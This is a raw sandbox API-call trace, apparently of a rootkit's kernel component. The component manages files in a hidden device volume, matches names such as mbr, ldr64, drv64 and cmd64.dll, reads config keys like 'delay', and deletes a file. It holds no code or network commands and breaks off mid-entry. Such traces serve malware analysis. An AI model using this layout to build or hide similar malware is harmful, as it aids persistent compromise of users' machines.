[0124.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.368] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.368] IdePortDispatch () returned 0x103 [0124.368] KeWaitForMutexObject () returned 0x0 [0124.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.368] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.368] IdePortDispatch () returned 0x103 [0124.368] KeWaitForMutexObject () returned 0x0 [0124.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.369] KeLeaveCriticalRegion () [0124.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.369] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.369] KeEnterCriticalRegion () [0124.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.369] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.369] KeLeaveCriticalRegion () [0124.369] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.369] KeEnterCriticalRegion () [0124.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.369] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.369] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0810, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.369] KeLeaveCriticalRegion () [0124.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.369] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.369] KeEnterCriticalRegion () [0124.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.369] ExFreePoolWithTag (P=0xfffffa8003beef10, Tag=0x0) [0124.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.369] KeLeaveCriticalRegion () [0124.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.369] ReleaseMutex (hMutex=0xf0) returned 1 [0124.370] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.370] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.370] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.370] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.370] KeEnterCriticalRegion () [0124.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.370] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.370] IdePortDispatch () returned 0x103 [0124.370] KeWaitForMutexObject () returned 0x0 [0124.370] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.370] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.370] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.370] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.370] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.370] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.370] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.370] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.370] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.370] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.370] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.370] KeLeaveCriticalRegion () [0124.370] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.370] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.370] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.371] KeEnterCriticalRegion () [0124.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.371] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.371] IdePortDispatch () returned 0x103 [0124.371] KeWaitForMutexObject () returned 0x0 [0124.371] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.371] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.371] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.371] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.371] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.371] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.371] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.371] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.371] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.371] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.371] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.371] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.371] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.371] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.371] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.371] KeLeaveCriticalRegion () [0124.371] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.371] ReleaseMutex (hMutex=0x100) returned 1 [0124.371] Sleep (dwMilliseconds=0x2bf20) [0124.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d54cab0, dwHighDateTime=0x1d24fa4)) [0124.378] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.378] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.378] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.378] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.378] KeEnterCriticalRegion () [0124.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.378] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.378] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.378] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.378] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.378] IdePortDispatch () returned 0x103 [0124.378] KeWaitForMutexObject () returned 0x0 [0124.378] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.378] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.378] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.378] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.378] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.378] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beef10 [0124.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.378] KeLeaveCriticalRegion () [0124.378] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.378] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.378] KeEnterCriticalRegion () [0124.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.379] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.379] KeLeaveCriticalRegion () [0124.379] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.379] KeEnterCriticalRegion () [0124.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.379] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.379] IdePortDispatch () returned 0x103 [0124.379] KeWaitForMutexObject () returned 0x0 [0124.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.379] KeLeaveCriticalRegion () [0124.379] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.379] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.379] KeEnterCriticalRegion () [0124.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.379] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003543000 [0124.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.379] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.379] IdePortDispatch () returned 0x103 [0124.379] KeWaitForMutexObject () returned 0x0 [0124.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.380] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.380] IdePortDispatch () returned 0x103 [0124.380] KeWaitForMutexObject () returned 0x0 [0124.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.380] KeLeaveCriticalRegion () [0124.380] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.380] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.380] KeEnterCriticalRegion () [0124.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.380] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.380] KeLeaveCriticalRegion () [0124.380] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.381] KeEnterCriticalRegion () [0124.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.381] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.381] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.381] KeLeaveCriticalRegion () [0124.381] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.381] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.381] KeEnterCriticalRegion () [0124.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.381] ExFreePoolWithTag (P=0xfffffa8003beef10, Tag=0x0) [0124.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.381] KeLeaveCriticalRegion () [0124.381] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.381] ReleaseMutex (hMutex=0xf0) returned 1 [0124.381] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.381] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.381] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.381] KeEnterCriticalRegion () [0124.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.381] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.381] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.381] IdePortDispatch () returned 0x103 [0124.381] KeWaitForMutexObject () returned 0x0 [0124.381] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.381] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.381] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.381] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.381] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.381] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1ab0 [0124.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.381] KeLeaveCriticalRegion () [0124.381] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.381] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.381] KeEnterCriticalRegion () [0124.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.382] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.382] KeLeaveCriticalRegion () [0124.382] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.382] KeEnterCriticalRegion () [0124.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.382] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.382] IdePortDispatch () returned 0x103 [0124.382] KeWaitForMutexObject () returned 0x0 [0124.382] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.382] KeLeaveCriticalRegion () [0124.382] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.382] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.382] KeEnterCriticalRegion () [0124.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.382] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003544000 [0124.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.382] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.382] IdePortDispatch () returned 0x103 [0124.382] KeWaitForMutexObject () returned 0x0 [0124.382] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.383] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.383] IdePortDispatch () returned 0x103 [0124.383] KeWaitForMutexObject () returned 0x0 [0124.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.383] KeLeaveCriticalRegion () [0124.383] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.383] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.383] KeEnterCriticalRegion () [0124.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.383] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.383] KeLeaveCriticalRegion () [0124.383] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.383] KeEnterCriticalRegion () [0124.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.383] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.383] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.383] KeLeaveCriticalRegion () [0124.383] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.383] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.384] KeEnterCriticalRegion () [0124.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.384] ExFreePoolWithTag (P=0xfffffa8003bf1ab0, Tag=0x0) [0124.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.384] KeLeaveCriticalRegion () [0124.384] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.384] ReleaseMutex (hMutex=0xf0) returned 1 [0124.384] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.384] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.384] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.384] KeEnterCriticalRegion () [0124.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.384] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.384] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.384] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.384] IdePortDispatch () returned 0x103 [0124.384] KeWaitForMutexObject () returned 0x0 [0124.384] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.384] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.384] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.384] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.384] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, 